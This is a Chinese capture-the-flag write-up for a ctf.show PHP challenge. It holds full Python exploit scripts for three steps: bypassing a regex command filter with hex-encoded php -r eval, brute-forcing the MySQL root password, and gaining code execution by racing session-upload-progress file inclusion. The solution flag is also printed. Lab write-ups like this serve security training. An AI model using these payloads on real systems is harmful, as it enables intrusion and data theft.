复现网站 https://ctf.show/challenges 
涉及知识点 代码审计
16进制绕过php正则匹配waf
LFI Session文件包含
mysql密码爆破
实际流程 第一步进行代码审计,发现过滤了超多东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ('open_basedir' , '/var/www/html/' );error_reporting (0 );if (isset ($_POST ['cmd' ])){    $cmd  = escapeshellcmd ($_POST ['cmd' ]);       if  (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) {          system ($cmd ); } } show_source (__FILE__ );?> 
这里的话,有两种思路
一种是正面突破绕过正则匹配
另一种则是曲线救国,避其锋芒
正面突破 可使用
1 php -r eval (hex2bin (substr (A<16 进制字符串>,1 ))); 
来进行绕过
-r 是php的一个命令行选项,php -r 允许在不创建 php 文件的情况下执行 php 代码 
substr(<str>,<int>)表示从下标 int 开始截取 str 字符串的内容hex2bin即将16进制字符串转为2进制字符串形式如果16进制字符串开头为数字的话,则类型会被识别为数字,所以使用substr截断 
 
尝试执行phpinfo();
1 cmd=php -r eval (hex2bin (substr (A706870696e666f28293b,1 ))); 
成功!
同样的,可以执行其他代码,但是经过测试,发现文件目录中并没有flag,phpinfo也在似乎也在提醒我们
但是发现存在mysql服务,推测flag存在于sql数据库中
尝试爆破数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/"  def  crack ():      with  open ("1400.txt" , "rb" ) as  fp:         dict  = fp.readlines()     for  passwd in  dict :         passwd = passwd.strip()         payload = b"echo `mysql -u root -p'%s' -e 'show databases;'`;"  % passwd         data={             "cmd" : f"php -r eval(hex2bin(substr(A{payload.hex ()} ,1)));"          }         text = requests.post(url,data=data).text                  print (f"尝试{passwd.decode('utf-8' )} " )         if  "mysql"  in  text:             print (f"sql密码为{passwd.decode('utf-8' )} " )             exit(0 )     print ("未找到" ) 
找到数据库密码为root
首先读数据库,得到
1 2 3 4 5 PHP_CMS information_schema mysql performance_schema test 
前往PHP_CMS库下发现
1 2 Tables_in_PHP_CMS F1ag_Se3Re7 
获取flag
1 ctfshow{6745e674-2743-44d0-8751-3f85100c398c} 
以下是完整payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import  requestsimport  reurl = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/"  def  crack ():      with  open ("1400.txt" , "rb" ) as  fp:         dict  = fp.readlines()     for  passwd in  dict :         passwd = passwd.strip()         payload = b"echo `mysql -u root -p'%s' -e 'show databases;'`;"  % passwd         data={             "cmd" : f"php -r eval(hex2bin(substr(A{payload.hex ()} ,1)));"          }         text = requests.post(url,data=data).text                  print (f"尝试{passwd.decode('utf-8' )} " )         if  "mysql"  in  text:             print (f"sql密码为{passwd.decode('utf-8' )} " )             exit(0 )     print ("未找到" ) payload = b"echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;"  data={         "cmd" : f"php -r eval(hex2bin(substr(A{payload.hex ()} ,1)));"      } text = requests.post(url,data=data).text if  "ctfshow{"  in  text:    flag = re.search(r'ctfshow\{.*?\}' , text).group()     print (f"\033[31mflag为{flag} \033[0m" ) print (text)print (data["cmd" ])
曲线救国 可利用session文件包含进行RCE
携带session的会话进行POST请求时,会在服务器某个目录下会产生sess_sessID的临时文件
一般路径为
1 2 3 4 /var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID 
本题的存放路径为/tmp/sess_PHPSESSID
这时,我们便可在sess_PHESESSID中包含木马
并通过cmd=php /tmp/sess_PHPSESSID来执行代码,从而达成RCE
但需要注意的是sess_PHESESSID临时文件是会被系统清除掉的,因此我们需要竞争访问,赶在系统清除前访问它
总体思路差不多,以下是完整payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import  ioimport  requestsimport  threadingimport  resessid = 'abcd'  data = {"cmd" :"php /tmp/sess_abcd" } url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/"  payload = "<?php echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;echo 'success!!!'; ?>"  sign = 0  def  write (session ):    while  True :         f = io.BytesIO(b'a'  * 1024  * 50 )         resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS' : payload}, files={'file' : ('a.txt' , f)}, cookies={'PHPSESSID' : sessid} ) def  read (session ):    while  True :         resp = session.post(url, data=data)         if  'success!!!'  in  resp.text:             print (f"\033[32m{resp.text} \033[0m" )             if  "ctfshow{"  in  resp.text:                 print (f"\033[31mflag为{re.search(r'ctfshow{.*?}' ,resp.text)} \033[0m" )         else :             print (resp.text)             print ("[+++++++++++++]retry" ) if  __name__=="__main__" :    event=threading.Event()     with  requests.session() as  session:         for  i in  range (1 ,30 ):             threading.Thread(target=write, args=(session,)).start()         for  i in  range (1 ,30 ):             threading.Thread(target=read, args=(session,)).start()         event.set () 
此外 看别的师傅还有反弹shell的方法,但是我自己没有成功反弹出来,或许是因为题目是docker容器环境下的原因吧
参考 [浅谈利用session绕过getshell - 蚁景网安实验室 - 博客园](浅谈利用session绕过getshell - 蚁景网安实验室 - 博客园 (cnblogs.com) )
[国赛2024 simple_php(三种方法)](国赛2024 simple_php(三种方法) - DGhh - 博客园 (cnblogs.com) )